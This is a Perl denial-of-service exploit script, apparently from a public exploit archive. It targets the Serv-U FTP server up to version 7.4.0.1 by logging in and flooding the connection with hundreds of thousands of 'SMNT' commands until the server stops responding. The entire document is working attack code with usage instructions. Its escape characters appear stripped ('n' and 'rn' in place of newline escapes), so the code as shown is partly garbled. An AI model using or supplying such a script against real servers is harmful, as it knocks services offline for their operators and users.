#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)
# Just the server is saturated, it stops responding.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan n";
print "[+] Soft: FTP Serv-Un";

	if (@ARGV < 3)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port>n";
 		print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toton";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "n[-] Connecting: Failed!n";

print "n[+] Connecting: Ok!n";
print "[+] Sending request...n";


$evil =	"SMNTrn" x 300000;

$after = "x2Ax2A";

	print $socket "USER $userrn";
	print $socket "PASS $pass.$afterrn";
	print $socket "$evil";
	
		sleep(1);	
		close($socket);

print "[+]Done! the server is saturated.n";

# www.Syue.com [2009-03-16]